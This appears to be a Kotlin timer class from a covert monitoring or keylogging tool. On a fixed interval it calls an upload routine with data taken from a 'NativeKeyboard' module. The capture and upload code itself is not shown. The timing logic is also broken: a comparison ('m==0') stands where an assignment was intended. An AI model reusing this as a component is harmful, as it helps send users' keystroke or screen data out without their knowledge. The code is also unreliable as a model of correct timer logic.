package Utils

import Native.NativeKeyboard
import Utils.Upload

import java.net.Socket

class Timer : Thread {

    private var timers:Int =0


    constructor(timers: Int) {
        this.timers = timers

    }


    override fun run() {

        var h:Int = 0
        var m:Int = 0
        var   s:Int= 0
        while (true)
        {

          sleep(1000)
              s++
            if (  s==60)
            {
                m++
              s=0

            }
            if (m===60)
            {
                m==0
                h++
            }


            if (h===1)
            {
                m=0
                h=0
            }


            if (m!=0){

            if (m%timers==0&&s==0)
            {
               Upload.UploadCore(NativeKeyboard.VM_Keyborad.Imageurl())



            }
                }

        }






    }
}